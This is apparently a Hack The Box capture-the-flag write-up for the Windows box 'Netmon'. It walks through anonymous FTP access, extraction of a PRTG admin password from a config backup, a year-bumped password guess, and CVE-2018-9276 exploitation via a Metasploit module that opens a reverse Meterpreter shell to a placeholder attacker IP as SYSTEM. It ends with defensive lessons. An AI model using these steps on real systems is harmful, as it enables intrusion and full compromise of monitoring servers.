root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat netmon.md
// writeups

Netmon

2 Mar 2019 · 7 min read
writeupshacktheboxwindowsEasyretiredvip
Netmon - maquina de Hack The Box

Executive summary — Netmon is an Easy Windows box about PRTG Network Monitor: a misconfigured anonymous FTP exposes the whole disk, letting us read a PRTG configuration backup with the admin password (the admins only changed the year). Inside PRTG, CVE-2018-9276 (authenticated command injection in the notification system), exploited via Metasploit, gives direct execution as SYSTEM — no further privilege escalation needed. A anonymous FTP → PRTG backup → CVE-2018-9276 → SYSTEM path.

PlatformHack The Box
Operating systemWindows Server 2016
DifficultyEasy
StatusRetired
Target IP10.129.9.125

Attack map

[21] anonymous FTP with access to the WHOLE filesystem
   │  read C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.old.bak
   │  → prtgadmin : PrTg@dmin2018
   │  admins only changed the year → PrTg@dmin2019
   ▼
[PRTG]  login as prtgadmin (PRTG < 18.2.39)
   │  CVE-2018-9276 — authenticated command injection (notifications)
   │  msf: exploit/windows/http/prtg_authenticated_rce
   ▼
[SYSTEM]  meterpreter — NT AUTHORITY\SYSTEM

1. Reconnaissance

We start with a full port and version scan to see what attack surface the box offers before deciding where to go in.

nmap -sCV -Pn 10.129.9.125
21/tcp   open  ftp
80/tcp   open  http          (PRTG Network Monitor / Indy httpd)
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds

Ports 135/139/445 just confirm a stock Windows host (RPC/NetBIOS/SMB), but what really stands out is 21/FTP: on a box running a PRTG web panel, an open FTP is often the back door into the monitoring service's own configuration. We start there.

2. Anonymous FTP → the whole filesystem

An FTP that accepts anonymous credentials is already a risk; one that also isn't jailed (chroot) and lets you browse outside a public folder into the rest of the disk is a serious misconfiguration. That's exactly what happens here: we can reach all the way into ProgramData.

ftp 10.129.9.125
Name: anonymous
Password: anonymous
230 Login successful.

With access granted, we browse to PRTG's configuration folder:

cd ProgramData
cd Paessler
cd "PRTG Network Monitor"
dir
PRTG Configuration.dat
PRTG Configuration.old
PRTG Configuration.old.bak

Of the three, the .bak is the most interesting: backups of old configurations often keep credentials that the «active» file no longer exposes in plaintext, and it's common for nobody to remember to delete them.

3. Downloading the backup and extracting credentials

get "PRTG Configuration.old.bak"
bye
grep -i -B5 -A5 password "PRTG Configuration.old.bak"
Username: prtgadmin
Password: PrTg@dmin2018

The password trick: PrTg@dmin2018 comes from an old backup, and the box is already running in 2019 — that password is likely no longer valid. But it's an extremely common pattern for admins, when rotating a password «for compliance», to simply bump the year and leave the rest unchanged. We try PrTg@dmin2019.

4. Accessing the PRTG console

http://10.129.9.125   # username: prtgadmin / password: PrTg@dmin2019

The login works: the year hypothesis was correct. Now authenticated as PRTG administrators, we check the product version from the panel — PRTG < 18.2.39, a version vulnerable to a known CVE.

5. CVE-2018-9276 — authenticated command injection

What it is: PRTG lets you configure notifications that, among other actions, can «Execute Program». The parameters of that notification type aren't properly sanitised before being passed to the system's command interpreter. Since the PRTG service runs with SYSTEM privileges, any command injected there also executes as SYSTEM. It's «authenticated» because it requires an existing PRTG administrator session — which is exactly what we obtained in the previous step.

6. Exploitation with Metasploit

Metasploit ships a dedicated module for this vulnerability (exploit/windows/http/prtg_authenticated_rce) that automates creating the malicious notification and hands back a Meterpreter session directly:

msfconsole
use exploit/windows/http/prtg_authenticated_rce
set RHOSTS 10.129.9.125
set RPORT 80
set ADMIN_USERNAME prtgadmin
set ADMIN_PASSWORD PrTg@dmin2019
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
[*] Started reverse TCP handler
...
Meterpreter session 1 opened

7. Post-exploitation and flags

Because the PRTG service runs under the system account, the module hands back the session directly with SYSTEM privileges: no further privilege-escalation step is needed.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
C:\> whoami
nt authority\system
cd C:\Users\Administrator\Desktop
dir
type root.txt

System fully compromised — SYSTEM access from the very first and only exploit needed. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leakFTP serverAnonymous access with no chroot, browses the whole filesystemRead the PRTG configuration backup
CredentialsPRTG Configuration.old.bakPlaintext password in a backup + predictable pattern (year-only rotation)PRTG administrator login
RCEPRTG Network Monitor < 18.2.39CVE-2018-9276 — authenticated command injection via notificationsCommand execution
Privilege escalationPRTG serviceThe service runs as NT AUTHORITY\SYSTEMSYSTEM with no further escalation

Lessons learned

  • Anonymous FTP with no chroot = total filesystem leak. Disable anonymous access or jail the user to a specific folder.
  • .bak backups keep secrets the active file no longer exposes: delete them or protect them with the same permissions as the original.
  • Don't rotate passwords by just bumping the year (or any other predictable suffix): an attacker who knows an old version guesses the current one in seconds.
  • Patch PRTG and audit what runs as SYSTEM: CVE-2018-9276 gives full control straight from the admin panel precisely because the service isn't segregated with lower privileges.